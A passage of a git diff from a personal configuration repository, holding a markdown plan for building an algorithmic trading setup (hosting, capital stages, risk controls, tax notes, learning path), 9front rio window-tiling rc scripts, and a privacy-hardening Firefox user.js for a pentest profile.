URL | Datacenters | Entry Price | Use Case | +|---|---|---|---|---| +| **Beeks Financial Cloud** | https://www.beeksgroup.com/ | NY4, LD4, CME Aurora, TY3, +14 more | $39/mo VPS, $315-$3270/mo dedicated | Best NY4 proximity, broker peering. Latency 0.8ms to LD4/NY4 hubs. | +| **QuantVPS** | https://www.quantvps.com/ | NY4 (Equinix) | $42/mo (Lite) → $129+ | NY4 colo at retail prices. Solid for futures via Rithmic/CQG. | +| **Speedy Trading Servers** | https://www.speedytradingservers.com/ | Chicago (CME), NY4, LD4 | $35-150/mo | Futures-trader-focused. | +| **TradingFXVPS** | https://www.tradingfxvps.com/ | Global (NY, London, Tokyo, Frankfurt) | $25-90/mo | MetaTrader/FX focus. | +| **ForexVPS.net** | https://www.forexvps.net/ | NY, LD, FR, TY, HK | $35/mo | FX VPS. | +| **AWS us-east-1** | https://aws.amazon.com/ec2/ | N. Virginia (close to NY4 but not in it) | $4-200+/mo | When you want full IaaS; ~3-5ms to NY4 from us-east-1d. | +| **Hetzner** | https://www.hetzner.com/cloud | Falkenstein, Helsinki, Ashburn (US) | EUR 4.59/mo | Cheapest sane option for non-latency-sensitive overnight strategies. Ashburn for US ~10-15ms to NYSE. | +| **Vultr** | https://www.vultr.com/ | NJ (close to NY4), Chicago | $5-40/mo | Cheap and ubiquitous. | +| **Linode (Akamai)** | https://www.linode.com/ | Newark (close to NY4) | $5+/mo | Same tier as Vultr. | + +**Recommendation by stage**: + +- Today through $100k AUM: STARGATE on home network is fine. Add Hetzner Ashburn ($5/mo) as failover. +- $100k-$500k or any sub-second strategy: QuantVPS NY4 Lite ($42-129/mo). +- $500k+ or genuine HFT: Beeks dedicated in NY4 with broker cross-connect. + +## 8. Capital Staging Plan + +| Stage | Capital | Focus | Structure | Action | +|---|---|---|---|---| +| **Seed** | $5k | Paper trade everything. Live-trade one small futures or crypto strategy to feel real fill quality. | Sole proprietor; personal account. | Open public.com + Alpaca paper + Coinbase Advanced. | +| **Live** | $25k | 2-3 uncorrelated strategies, post-PDT-elimination. Begin tracking metrics rigorously. | Sole prop; consider TTS election. | Add IBKR for futures (better margin on /MES). | +| **Scaling** | $100k | Multi-strategy with formal allocation. Add Trader Tax Status filing. Move execution to STARGATE + Mercury treasury sweep. | TTS election; possibly LLC if filing 475(f). | Move to NY4 VPS if any sub-minute strategy. | +| **Pro** | $500k+ | Diversified across 5+ strategies and 3+ asset classes. Real options book. Possibly run for outside capital under exemption. | LLC; consider S-corp for self-employment tax. | Consult quant tax accountant ([Green Trader Tax](https://greentradertax.com/)). | + +**Prop firm shortcut**: instead of personal capital you can lease buying power from a prop firm. Realistic ones: + +| Firm | Asset | Eval Cost | Profit Split | Notes | +|---|---|---|---|---| +| [FTMO](https://ftmo.com/) | FX, indices, metals | $99-$999 | 80-90% | Largest, OANDA-owned (Dec 2025). Strong rep. | +| [Topstep](https://www.topstep.com/) | CME futures (ES, NQ, CL, GC, etc.) | $49-$149/mo + $149 activation | First $10k 100%, then 90% | Longest-running (since 2012); paid out >$1.4B. | +| [The5ers](https://the5ers.com/) | FX, indices | $39-$1095 | 50-100% (instant funding tier) | Older firm with instant-funding paths. | +| [Apex Trader Funding](https://apextraderfunding.com/) | Futures | $25-$300/mo | 90% | Futures-only; very large account ceiling. | +| [FundedNext](https://fundednext.com/) | FX | $59-$999 | 80-90% | Successor space to MFFU (shut down by CFTC). Now dominant in FX. | + +Prop firms are useful as **leverage on a tested edge**. They are not useful as a substitute for an edge. Eval rules (max drawdown, daily loss limits, news restrictions) bias toward conservative, low-risk strategies, sometimes punishing real edge. + +## 9. Risk Management & Infrastructure + +### Position Sizing + +- **Fixed fractional**: bet `f` of equity per trade. Simple, robust. `f = 0.01-0.02` typical. +- **Volatility-targeted**: size positions so each contributes equal $-vol. Compute `position = target_vol * equity / (px * realized_vol)`. Rob Carver's bread-and-butter. +- **Kelly fraction**: `f* = (bp - q) / b`. The textbook answer. In practice, use *half-Kelly or less* because the inputs are estimated and overestimation is fatal. +- **Risk parity / mean-variance**: for multi-strategy portfolios. Use `cvxpy` or `riskfolio-lib`. + +### Stops, Limits, Kill Switches + +- Per-trade stop: hard limit on loss per position. +- Daily loss limit: pause all strategies after `X%` drawdown. Mandatory. +- Strategy kill switch: any individual strategy auto-disables on `N` consecutive losers or `M%` drawdown over `K` days. +- Position concentration cap: no single position > `P%` of equity. +- Correlation cap: total exposure to correlated bucket (e.g. tech beta) capped. + +### Monitoring Stack + +For STARGATE deployment: + +| Layer | Tool | Purpose | +|---|---|---| +| Tick storage | TimescaleDB (Postgres extension) or DuckDB on Parquet | Historical research data. | +| Live PnL | Grafana + Prometheus | Real-time dashboard. | +| Alerts | Alertmanager → email (your `~/.local/bin/email` script) + ntfy push | Drawdown alarms, position breaches. | +| Logs | Loki or just journald + Promtail | Strategy decision audit trail. | +| Order management | NautilusTrader's built-in OMS, or roll your own with `ib_async` + Redis | Reconcile broker fills with internal state. | +| Process supervision | systemd | Auto-restart on crash. | + +### Validation + +- **Walk-forward optimization** (not single-pass in-sample optimization). Lopez de Prado's *Combinatorial Purged Cross-Validation* is the gold standard. +- **Deflated Sharpe Ratio** (DSR) accounts for backtest overfitting by penalizing the number of trials. ([Bailey & Lopez de Prado paper](https://papers.ssrn.com/sol3/papers.cfm?abstract_id=2460551)) +- **Out-of-sample minimum**: hold back 25% of the data span. Don't peek. +- **Synthetic data testing**: generate paths under a realistic process (GBM with regime switching, or block-bootstrap), check the strategy's distribution of returns. If edge collapses on random data, edge isn't real. +- **Trade randomization**: shuffle trade entry times by ±5 bars. If the strategy is timing-fragile, that's overfit. +- **Capacity test**: re-run backtest with realistic slippage (10-50 bps per side depending on size and liquidity). Many "edges" die here. + +## 10. Learning Path + +### Books — Read in This Order + +1. **Ernie Chan, *Quantitative Trading*** (2nd ed.). The gentle on-ramp. ([Amazon](https://www.amazon.com/Quantitative-Trading-Build-Algorithmic-Business/dp/1119800064)) +2. **Ernie Chan, *Algorithmic Trading: Winning Strategies and Their Rationale***. Mean reversion, momentum, options. Worked examples in MATLAB but easily ported. +3. **Ernie Chan, *Machine Trading***. ML-flavored extension. +4. **Rob Carver, *Systematic Trading*** and ***Leveraged Trading***. The best practical books for futures portfolio construction. Companion code: [pysystemtrade](https://github.com/robcarver17/pysystemtrade). ([Carver's blog](https://qoppac.blogspot.com/)) +5. **Marcos Lopez de Prado, *Advances in Financial Machine Learning***. ([Amazon](https://www.amazon.com/Advances-Financial-Machine-Learning-Marcos/dp/1119482089)) Hard. Worth it. Chapters 7 (cross-validation) and 11 (deflated Sharpe) are essential reading even if you skip the rest. +6. **Lopez de Prado, *Machine Learning for Asset Managers***. Shorter follow-up. +7. **Rishi Narang, *Inside the Black Box*** (2nd ed.). How real quant funds are organized. +8. **David Aronson, *Evidence-Based Technical Analysis***. The book that kills naïve TA via proper statistical hypothesis testing. +9. **Andrew Pole, *Statistical Arbitrage***. The pairs/stat-arb bible. +10. **Sheldon Natenberg, *Option Volatility and Pricing***. Vol surface intuition. +11. **Euan Sinclair, *Volatility Trading*** and ***Option Trading***. Practitioner-grade options. +12. **Stefan Jansen, *Machine Learning for Algorithmic Trading*** (2nd ed.). Use as a reference together with the GitHub repo. + +### Papers and Reading Lists + +- [arxiv-q-fin](https://arxiv.org/list/q-fin/recent) — daily preprints, especially `q-fin.ST` (statistical finance) and `q-fin.TR` (trading and microstructure). +- [SSRN Financial Economics Network](https://www.ssrn.com/index.cfm/en/fen/) — where the practitioners publish. +- Moskowitz, Ooi, Pedersen, *Time Series Momentum* (2012) — foundational trend paper. +- Avellaneda & Stoikov, *High-frequency trading in a limit order book* (2008) — market making bedrock. +- Lopez de Prado, *The 7 Reasons Most Machine Learning Funds Fail* — read this before you build anything ML. +- Harvey, Liu, Zhu, *...and the Cross-Section of Expected Returns* (2016) — why most published factors are noise. + +### Courses + +- [CQF (Certificate in Quantitative Finance)](https://www.cqf.com/) — heavy, 6 months, ~$20k. Useful as forcing function and credential. +- [Coursera — Financial Engineering and Risk Management (Columbia)](https://www.coursera.org/specializations/financialengineering) — solid free option. +- [QuantConnect Bootcamp](https://www.quantconnect.com/learning/) — free, framework-anchored. +- [Hudson & Thames courses](https://hudsonthames.org/) — companions to mlfinlab. + +### Forums + +- [r/algotrading](https://www.reddit.com/r/algotrading/) — quality mixed; goldmine for broker pain-points. +- [Wilmott Forum](https://forum.wilmott.com/) — old-guard quant board; still active. +- [Quantopian Forum archive](https://github.com/quantopian/research_public) — Quantopian shut down in 2020; the archive is research gold. +- [EliteTrader](https://www.elitetrader.com/) — practitioner-heavy. +- [QuantConnect community](https://www.quantconnect.com/forum/) — anchored to LEAN. + +## 11. Tax & Legal (US) + +**Caveat**: reference, not advice. At $50k+ engage a quant-specialized CPA — [Green Trader Tax](https://greentradertax.com/) is the most-cited. + +### Trader Tax Status (TTS) + +To qualify, you typically need to demonstrate: + +- Sustained, frequent trading (case law suggests ≥4 days/week, ~720+ trades/year, average holding period <31 days). +- Hours: significant time spent. +- Material trading: substantial $ relative to other income. +- Intent to derive income from trading. + +Benefits: deduct trading expenses (data, computers, home office, education) on Schedule C; deduct margin interest as business expense. + +### Section 475(f) Mark-to-Market Election + +Once TTS-qualified, electing 475(f) on securities: + +- Treats all open positions as sold at year-end at fair value. +- Converts gains and losses to **ordinary income**. +- **Exempts you from the wash sale rule** — critical for high-frequency equity strategies that constantly re-enter names. +- Removes the $3k annual capital loss limit; losses fully offset ordinary income. + +**Trap**: electing 475(f) on commodities/futures converts Section 1256 60/40 treatment to ordinary income, usually worse. Elect on securities only. + +**Deadline**: for individuals, attach the 475 election statement to the prior year's tax return or extension by April 15. So for tax year 2026 elections, the statement was due April 15, 2026. After making the election, file Form 3115 with that year's return. + +([Green Trader Tax: Section 475 MTM](https://greentradertax.com/trader-tax-center/trader-tax-status/section-475-mtm-accounting/), [IRS Topic 429](https://www.irs.gov/taxtopics/tc429)) + +### Section 1256 (Futures, Broad-Based Index Options) + +- 60% LTCG / 40% STCG regardless of holding period. +- Marked to market at year-end automatically. +- Reported on Form 6781. +- No wash sale issue. +- Top blended federal rate ~26.8%. + +### LLC vs Sole Proprietor + +A single-member LLC defaults to disregarded entity (tax-identical to sole prop), so the gain from an LLC is procedural, not tax-magic: + +- Liability shield (limited — for trading, mostly cosmetic). +- Easier to add a passive S-corp management entity later to pay yourself a salary (enabling solo 401(k), HSA, employee benefits). +- Cleaner accounting separation. + +At ~$50k+ profits, structure a **trading LLC + S-corp management company** combo. The S-corp pays you a reasonable salary (enables ~$70k/yr solo 401k contribution, HSA, etc.) and the trading LLC retains the rest as pass-through ordinary. This is the [Green Trader Tax "Pro Trader Entity"](https://greentradertax.com/trader-tax-center/entity-solutions/) structure. + +### Other + +- **State tax**: trading from TX, FL, WA, NV, TN, NH, SD, WY avoids state income tax. Trading from NY/CA/IL hits hard. +- **Qualified Opportunity Zones**: defer realized cap gains by reinvesting within 180 days. Useful if you have a large equity windfall. +- **Wash sale aggregation**: brokers report wash sales per-account, not cross-account. Same security across IBKR + Alpaca won't auto-aggregate; reconcile yourself or via tax software like [TraderFyles](https://traderfyles.com/) or [TradeLog](https://tradelogsoftware.com/). + +## 12. Defensive Diversification + +Beyond the algo book, hold a tail in things that don't depend on any single counterparty, market, or political consensus: + +| Asset | Vehicle | Counterparty Risk | Yield | +|---|---|---|---| +| **I-Bonds** | [TreasuryDirect.gov](https://www.treasurydirect.gov/) | US Treasury only | CPI-linked; $10k/yr cap per SSN | +| **T-Bills / Notes** | TreasuryDirect or Public/IBKR ladder | US Treasury | Whatever the curve gives | +| **Physical gold / silver** | Coins (Eagles, Maples); allocated storage (Goldmoney, BullionVault) | Self-custody = none | None; storage cost | +| **Bitcoin (cold storage)** | Hardware wallet (Coldcard, Trezor, Ledger); multi-sig (Sparrow, Specter) | None at protocol level | None; protocol scarcity | +| **Productive land** | Direct ownership | State legitimacy | Crop income, timber, lease | +| **Cash USD outside the banking system** | Physical paper | Inflation + theft | Negative real | +| **Cash in foreign currencies** | Swiss or SG accounts in CHF/SGD | Foreign banking | Variable | + +Principle: things that survive any one institution failing. Mercury Treasury yields well but is ultimately a sweep into MMFs at partner banks. A small physical-asset tail (~5-10% of net worth) is cheap insurance against the rest of the structure failing for non-market reasons. + +[TreasuryDirect](https://www.treasurydirect.gov/) doesn't have a true public API, but its data feeds and ACH automation let you ladder T-Bills via recurring purchases programmed against your Mercury account. + +## 13. First 90 Days + +### Phase 1 (Weeks 1-2): Substrate + +- [ ] Open accounts: confirm public.com is funded; open Alpaca paper + Coinbase Advanced; open IBKR for futures access (takes ~1 week). +- [ ] Mercury API: generate token, build small Python script to pull daily balance to a sqlite/Postgres on STARGATE. +- [ ] Set up `~/dev/trading/` repo. Git. Direnv. `uv` or `poetry` for Python isolation. +- [ ] Install on STARGATE: Postgres + TimescaleDB, Grafana, Prometheus, ntfy. +- [ ] Subscribe to one paid data source initially: Tiingo ($30/mo) for daily equities, or Polygon Stocks Starter ($29/mo) for intraday. + +### Phase 2 (Weeks 3-4): Research Environment + +- [ ] Pull and warehouse 10 years of daily bars for SPY, QQQ, IWM, plus 100 large-cap names. Store as Parquet on STARGATE. +- [ ] Notebooks on moirai connecting to STARGATE Postgres. +- [ ] Implement and verify three classics from Chan's books on this data: pairs-trading on KO/PEP, momentum crossover on SPY, mean-reversion on AAPL. Confirm your backtest matches the book's results within ~10%. +- [ ] Pick framework: install both VectorBT and NautilusTrader; replicate one strategy in each. + +### Phase 3 (Weeks 5-8): First Live Strategy + +- [ ] Pick a single, simple, slow strategy. Recommended: time-series momentum on a basket of liquid futures (MES, MNQ, MCL, MGC, MZN), monthly rebalance, vol-targeted sizing. Or: cross-sectional momentum on top-200 US equities, monthly rebalance. +- [ ] Walk-forward backtest. Out-of-sample test. Deflated Sharpe Ratio. +- [ ] Deploy to Alpaca paper account for 2-4 weeks. Watch fills. +- [ ] Build a Grafana dashboard with: live equity curve, drawdown, per-position PnL, alerts on >2% daily drawdown. + +### Phase 4 (Weeks 9-12): Real Capital, Real Risk + +- [ ] Deploy real capital (start with 20-30% of intended live size) into the validated strategy on IBKR (futures) or Public/Alpaca (equities). +- [ ] Run side-by-side with paper for a month. Reconcile fills vs. expected. Quantify slippage. +- [ ] Add second uncorrelated strategy. +- [ ] Decide on TTS election for following tax year. If yes, draft 475(f) election statement. +- [ ] Begin reading Lopez de Prado in earnest — by now you've felt enough real-world pain to appreciate what he's solving. + +### Forever (after Day 90) + +- One new strategy in dev at a time. +- Monthly review: rolling Sharpe per strategy, allocation rebalance, archive any strategy with rolling 6-month Sharpe < 0. +- Quarterly review: framework upgrades, data source expansion, infra audit. +- Annual: tax planning with CPA, entity structure review. + +--- + +## Appendix A: Quick Math Reference + +- **Sharpe**: `(R_p - R_f) / σ_p`; annualize multi-period by `√(periods_per_year)`. +- **Sortino**: same but only downside σ. +- **Calmar**: annualized return / max drawdown. +- **Kelly**: `f* = p/a - q/b` where `p` = win prob, `q = 1-p`, `b` = win size, `a` = loss size. Use ≤ half. +- **OU half-life**: `λ = -ln(2) / β` where `β` is the AR(1) coefficient minus 1. +- **Hurst exponent**: `H < 0.5` mean-reverting, `H > 0.5` trending. Compute on log-returns via R/S analysis or DFA. +- **Deflated Sharpe Ratio**: penalty term `√((1-γ)Φ⁻¹(1-1/N) + γΦ⁻¹(1-1/(Ne)))` where `N` is number of trials, `γ` Euler-Mascheroni. + +## Appendix B: Minimum Viable Tech Stack + +``` +Hardware: moirai (research) + STARGATE (execution) +OS: Arch Linux (both) +Languages: Python 3.12 (research/exec), Rust (perf-critical components later) +Frameworks: VectorBT (sweep) + NautilusTrader (execute) +Storage: TimescaleDB (live PnL, fills) + Parquet on disk (research data) +Broker: public.com (equities/options/bonds), IBKR (futures), Coinbase Advanced (crypto) +Banking: Mercury (operating + treasury sweep) +Monitoring: Grafana + Prometheus + Loki on STARGATE +Alerts: ntfy + ~/.local/bin/email +Supervision: systemd units per strategy +Tax: TraderFyles or TradeLog for wash-sale reconciliation; Green Trader Tax CPA +Backups: git for code; restic snapshots of TimescaleDB to Hetzner S3 +``` diff --git a/profiles/9front/bin/riostart/common.rc b/profiles/9front/bin/riostart/common.rc new file mode 100644 index 0000000000000000000000000000000000000000..c4d96483c557d0d681a53e45c73c7387ccbaa7fd --- /dev/null +++ b/profiles/9front/bin/riostart/common.rc @@ -0,0 +1,26 @@ +fn ScrDim{ # determine screen dimension (W H) + w=0 + h=0 + devscr=/dev/screen + if(test -r $devscr){ + scr=`{read -c 59 $devscr} + w=`{echo $scr(4) - $scr(2) | bc} + h=`{echo $scr(5) - $scr(3) | bc} + } + if not { + dim=(`{echo $vgasize | awk -Fx '{printf("%d %d", $1, $2)}'}) + w=$dim(1) + h=$dim(2) + } + echo $w $h +} + +fn PutWsDim{ + w=$1 + h=$2 + echo $w $h >$home/tmp/riostart.ws.dim +} + +fn GetWsDim{ + read -m $home/tmp/riostart.ws.dim +} diff --git a/profiles/9front/bin/riostart/start b/profiles/9front/bin/riostart/start new file mode 100644 index 0000000000000000000000000000000000000000..ab0ce4beb5239a399453c55890a4bc240f7d41aa --- /dev/null +++ b/profiles/9front/bin/riostart/start @@ -0,0 +1,3 @@ +#!/bin/rc + +window riostart/ws/main diff --git a/profiles/9front/bin/riostart/ws/irc b/profiles/9front/bin/riostart/ws/irc new file mode 100644 index 0000000000000000000000000000000000000000..f06c47a23b210ce50294f09b1f02dd5054a0130a --- /dev/null +++ b/profiles/9front/bin/riostart/ws/irc @@ -0,0 +1,49 @@ +#!/bin/rc +. /bin/riostart/common.rc + +# -- FUNS +fn TopRow{ + { xlen=$1 ; shift 1 } # param 1: list x length + { x=$*(1-$xlen) ; shift $xlen } # param 2: list x + { ylen=$1 ; shift 1 } # param 3: list y length + { y=$*(1-$ylen) ; shift $ylen } # param 4: list y + window $x(1)^,^$y(1)^,^$x(4)^,^$y(2) winwatch -e '^(winwatch|stats|faces|vdir|wircrc)' +} +fn MidRow{ + { xlen=$1 ; shift 1 } # param 1: list x length + { x=$*(1-$xlen) ; shift $xlen } # param 2: list x + { ylen=$1 ; shift 1 } # param 3: list y length + { y=$*(1-$ylen) ; shift $ylen } # param 4: list y + #window -r ($x(1) $y(3) $x(2) $y(4)) rc + #window -r ($x(3) $y(3) $x(4) $y(4)) rc +} +fn BotRow{ + { xlen=$1 ; shift 1 } # param 1: list x length + { x=$*(1-$xlen) ; shift $xlen } # param 2: list x + { ylen=$1 ; shift 1 } # param 3: list y length + { y=$*(1-$ylen) ; shift $ylen } # param 4: list y + window -scroll -r ($x(1) $y(5) $x(4) $y(6)) rc +} +fn TileScreen{ + Dim=(`{GetWsDim}) # screen dimension (W x H) + W=$Dim(1) + H=$Dim(2) + s=4 # space from border + w=`{echo $W | awk '{print $1/2}'} # window width ratio + h=`{echo $H | awk '{print $1/10}'} # window height ratio + # x..list of x point pairs (2 columns -> 2 pairs) + x=(`{echo $w $s | awk '{printf("%d %d %d %d", + (0*$1)+$2 , (1*$1)-$2, + (1*$1)+$2 , (2*$1)-$2)}'}) + # y..list of y point pairs (3 rows -> 3 pairs) + y=(`{echo $h $s | awk '{printf("%d %d %d %d %d %d", + (0*$1)+$2 , ( 1*$1)-$2, + (1*$1)+$2 , ( 9*$1)-$2, + (9*$1)+$2 , (10*$1)-$2)}'}) + TopRow $#x ($x) $#y ($y) + MidRow $#x ($x) $#y ($y) + BotRow $#x ($x) $#y ($y) +} +# -- MAIN +label ws:irc +TileScreen diff --git a/profiles/9front/bin/riostart/ws/main b/profiles/9front/bin/riostart/ws/main new file mode 100644 index 0000000000000000000000000000000000000000..b6f563d775e2a977ce2b2cc5d48e3b1f16fe50b9 --- /dev/null +++ b/profiles/9front/bin/riostart/ws/main @@ -0,0 +1,75 @@ +#!/bin/rc +. /bin/riostart/common.rc + +# -- FUNS +fn TopRow{ + { xlen=$1 ; shift 1 } # param 1: list x length + { x=$*(1-$xlen) ; shift $xlen } # param 2: list x + { ylen=$1 ; shift 1 } # param 3: list y length + { y=$*(1-$ylen) ; shift $ylen } # param 4: list y + # -- stats + window -r ($x(1) $y(1) \ + `{echo $x(2) - 260|bc} $y(2)) stats -lme term.home nine.home + # -- vdir + window -r (`{echo $x(2) - 250|bc} $y(1) \ + `{echo $x(3) + 250|bc} $y(2)) vdir + # -- winwatch + window `{echo $x(3) + 260|bc}^,^$y(1)^,^$x(4)^,^$y(2) winwatch -e '^(clock|winwatch|stats|faces|vdir)' +} +fn MidRow{ + { xlen=$1 ; shift 1 } # param 1: list x length + { x=$*(1-$xlen) ; shift $xlen } # param 2: list x + { ylen=$1 ; shift 1 } # param 3: list y length + { y=$*(1-$ylen) ; shift $ylen } # param 4: list y + w=`{echo $x(4) - $x(1)|bc} + h=`{echo $y(4) - $y(3)|bc} + PutWsDim $w $h + # -- Workspaces + window -hide -r ($x(1) $y(3) $x(4) $y(4)) rio -i riostart/ws/www + window -hide -r ($x(1) $y(3) $x(4) $y(4)) rio -i riostart/ws/irc + # -- acme + window -r ($x(1) $y(3) $x(4) $y(4)) acme -c3 -a + # -- rc (left|right) + window -hide -scroll -r ($x(1) $y(3) $x(2) $y(4)) 'label rc:left; rc' + window -hide -scroll -r ($x(3) $y(3) $x(4) $y(4)) 'label rc:right; rc' + # -- rcpu (left|right) + window -hide -scroll -r ($x(1) $y(3) $x(2) $y(4)) 'label nine:rc:left; rcpu -p' + window -hide -scroll -r ($x(3) $y(3) $x(4) $y(4)) 'label nine:rc:right; rcpu -p' +} +fn BotRow{ + { xlen=$1 ; shift 1 } # param 1: list x length + { x=$*(1-$xlen) ; shift $xlen } # param 2: list x + { ylen=$1 ; shift 1 } # param 3: list y length + { y=$*(1-$ylen) ; shift $ylen } # param 4: list y + # -- kmesg + window -scroll -r ($x(1) $y(5) \ + `{echo $x(2) - 90|bc} $y(6)) 'label console:term; tail +0f /dev/kmesg' + # -- clock + window -r (`{echo $x(2) - 80|bc} $y(5) \ + `{echo $x(3) + 80|bc} $y(6)) clock + # -- faces + window -scroll -r (`{echo $x(3) + 90|bc} $y(5) \ + $x(4) $y(6)) faces -i +} +fn TileScreen{ + Dim=(`{ScrDim}) # screen dimension (W x H) + W=$Dim(1) + H=$Dim(2) + s=5 # space from border + w=`{echo $W | awk '{print $1/2}'} # window width ratio + h=`{echo $H | awk '{print $1/10}'} # window height ratio + # x..list of x point pairs (2 columns -> 2 pairs) + x=(`{echo $w $s | awk '{printf("%d %d %d %d", + (0*$1)+$2 , (1*$1)-$2, + (1*$1)+$2 , (2*$1)-$2)}'}) + # y..list of y point pairs (3 rows -> 3 pairs) + y=(`{echo $h $s | awk '{printf("%d %d %d %d %d %d", + (0*$1)+$2 , ( 1*$1)-$2, + (1*$1)+$2 , ( 9*$1)-$2, + (9*$1)+$2 , (10*$1)-$2)}'}) + TopRow $#x ($x) $#y ($y) + MidRow $#x ($x) $#y ($y) + BotRow $#x ($x) $#y ($y) +} +# -- MAIN +TileScreen diff --git a/profiles/9front/bin/riostart/ws/www b/profiles/9front/bin/riostart/ws/www new file mode 100644 index 0000000000000000000000000000000000000000..3f17f2060a22ef96492906f0dff8867d3643a18b --- /dev/null +++ b/profiles/9front/bin/riostart/ws/www @@ -0,0 +1,50 @@ +#!/bin/rc +. /bin/riostart/common.rc + +# -- FUNS +fn TopRow{ + { xlen=$1 ; shift 1 } # param 1: list x length + { x=$*(1-$xlen) ; shift $xlen } # param 2: list x + { ylen=$1 ; shift 1 } # param 3: list y length + { y=$*(1-$ylen) ; shift $ylen } # param 4: list y + window $x(1)^,^$y(1)^,^$x(4)^,^$y(2) winwatch -e '^(winwatch|stats|faces|vdir|rc)' +} +fn MidRow{ + { xlen=$1 ; shift 1 } # param 1: list x length + { x=$*(1-$xlen) ; shift $xlen } # param 2: list x + { ylen=$1 ; shift 1 } # param 3: list y length + { y=$*(1-$ylen) ; shift $ylen } # param 4: list y + window -r ($x(1) $y(3) $x(2) $y(4)) rc + window -r ($x(3) $y(3) $x(4) $y(4)) rc +} +fn BotRow{ + { xlen=$1 ; shift 1 } # param 1: list x length + { x=$*(1-$xlen) ; shift $xlen } # param 2: list x + { ylen=$1 ; shift 1 } # param 3: list y length + { y=$*(1-$ylen) ; shift $ylen } # param 4: list y + window -scroll -r ($x(1) $y(5) $x(4) $y(6)) rc +} +fn TileScreen{ + Dim=(`{GetWsDim}) # screen dimension (W x H) + W=$Dim(1) + H=$Dim(2) + s=4 # space from border + w=`{echo $W | awk '{print $1/2}'} # window width ratio + h=`{echo $H | awk '{print $1/10}'} # window height ratio + # x..list of x point pairs (2 columns -> 2 pairs) + x=(`{echo $w $s | awk '{printf("%d %d %d %d", + (0*$1)+$2 , (1*$1)-$2, + (1*$1)+$2 , (2*$1)-$2)}'}) + # y..list of y point pairs (3 rows -> 3 pairs) + y=(`{echo $h $s | awk '{printf("%d %d %d %d %d %d", + (0*$1)+$2 , ( 1*$1)-$2, + (1*$1)+$2 , ( 9*$1)-$2, + (9*$1)+$2 , (10*$1)-$2)}'}) + TopRow $#x ($x) $#y ($y) + MidRow $#x ($x) $#y ($y) + BotRow $#x ($x) $#y ($y) +} + +# -- MAIN +label ws:www +TileScreen diff --git a/profiles/pentest/.config/firefox/user.js b/profiles/pentest/.config/firefox/user.js new file mode 100644 index 0000000000000000000000000000000000000000..f29f657d2cbed447ca27edbca107ca9a76618ee1 --- /dev/null +++ b/profiles/pentest/.config/firefox/user.js @@ -0,0 +1,156 @@ +// ============================================================================ +// Firefox Hardened user.js -- Pentesting + Privacy Profile +// Based on arkenfox/user.js with pentesting additions +// Place in: ~/.mozilla/firefox/<profile>/user.js +// ============================================================================ + +// === STARTUP === +user_pref("browser.aboutConfig.showWarning", false); // no warning on about:config +user_pref("browser.startup.homepage", "about:blank"); // blank homepage +user_pref("browser.newtabpage.enabled", false); // blank new tab +user_pref("browser.startup.homepage_override.mstone", "ignore"); // no whats-new page + +// === TELEMETRY / DATA COLLECTION -- kill it all === +user_pref("datareporting.policy.dataSubmissionEnabled", false); // no data submission +user_pref("datareporting.healthreport.uploadEnabled", false); // no health reports +user_pref("toolkit.telemetry.enabled", false); // no telemetry +user_pref("toolkit.telemetry.unified", false); // no unified telemetry +user_pref("toolkit.telemetry.server", "data:,"); // empty telemetry server +user_pref("toolkit.telemetry.archive.enabled", false); // no telemetry archive +user_pref("toolkit.telemetry.newProfilePing.enabled", false); // no new profile ping +user_pref("toolkit.telemetry.shutdownPingSender.enabled", false); // no shutdown ping +user_pref("toolkit.telemetry.updatePing.enabled", false); // no update ping +user_pref("toolkit.telemetry.bhrPing.enabled", false); // no background hang ping +user_pref("toolkit.telemetry.firstShutdownPing.enabled", false); // no first shutdown ping +user_pref("toolkit.telemetry.coverage.opt-out", true); // coverage opt-out +user_pref("toolkit.coverage.opt-out", true); // coverage opt-out +user_pref("toolkit.coverage.endpoint.base", ""); // no coverage endpoint +user_pref("browser.ping-centre.telemetry", false); // no ping-centre +user_pref("beacon.enabled", false); // no beacon API +user_pref("app.shield.optoutstudies.enabled", false); // no shield studies +user_pref("app.normandy.enabled", false); // no normandy/recipes +user_pref("app.normandy.api_url", ""); // no normandy API +user_pref("breakpad.reportURL", ""); // no crash reports +user_pref("browser.tabs.crashReporting.sendReport", false); // no tab crash reports +user_pref("browser.crashReports.unsubmittedCheck.autoSubmit2", false); // no auto crash submit +user_pref("browser.discovery.enabled", false); // no extension recommendations +user_pref("extensions.getAddons.showPane", false); // no addon recommendations +user_pref("extensions.htmlaboutaddons.recommendations.enabled", false); // no addon recommendations + +// === GEOLOCATION === +user_pref("geo.enabled", false); // disable geolocation +user_pref("geo.wifi.uri", ""); // no wifi geolocation +user_pref("browser.region.network.url", ""); // no region detection +user_pref("browser.region.update.enabled", false); // no region updates + +// === NETWORK / DNS === +user_pref("network.prefetch-next", false); // no link prefetching +user_pref("network.dns.disablePrefetch", true); // no DNS prefetching +user_pref("network.predictor.enabled", false); // no network predictor +user_pref("network.http.speculative-parallel-limit", 0); // no speculative connections +user_pref("browser.places.speculativeConnect.enabled", false); // no speculative connects +user_pref("network.dns.disableIPv6", true); // disable IPv6 DNS (leak prevention) +user_pref("network.proxy.socks_remote_dns", true); // DNS through SOCKS proxy +user_pref("network.trr.mode", 2); // DNS over HTTPS (2=preferred, 3=forced) +user_pref("network.trr.uri", "https://dns.quad9.net/dns-query"); // Quad9 DoH (malware blocking) + +// === WEBRTC -- critical for IP leak prevention === +user_pref("media.peerconnection.enabled", false); // disable WebRTC entirely +user_pref("media.peerconnection.ice.default_address_only", true); // fallback: only default route +user_pref("media.peerconnection.ice.no_host", true); // no host candidates +user_pref("media.peerconnection.ice.proxy_only_if_behind_proxy", true); // force proxy + +// === TLS / SSL === +user_pref("security.tls.version.min", 3); // TLS 1.2 minimum +user_pref("security.tls.enable_0rtt_data", false); // no 0-RTT (replay risk) +user_pref("security.ssl.require_safe_negotiation", true); // require safe renegotiation +user_pref("security.ssl.treat_unsafe_negotiation_as_broken", true); // warn on unsafe +user_pref("browser.xul.error_pages.expert_bad_cert", true); // show cert details on error +user_pref("security.cert_pinning.enforcement_level", 2); // strict cert pinning +user_pref("security.pki.sha1_enforcement_level", 1); // forbid SHA-1 certs +user_pref("security.OCSP.enabled", 1); // enable OCSP checking +user_pref("security.OCSP.require", true); // hard-fail on OCSP error + +// === COOKIES === +user_pref("network.cookie.cookieBehavior", 1); // block third-party cookies +user_pref("network.cookie.lifetimePolicy", 2); // session-only cookies +user_pref("network.cookie.thirdparty.sessionOnly", true); // third-party session only +user_pref("privacy.firstparty.isolate", true); // first-party isolation + +// === FINGERPRINTING RESISTANCE === +user_pref("privacy.resistFingerprinting", true); // resist fingerprinting (changes canvas, timezone, etc.) 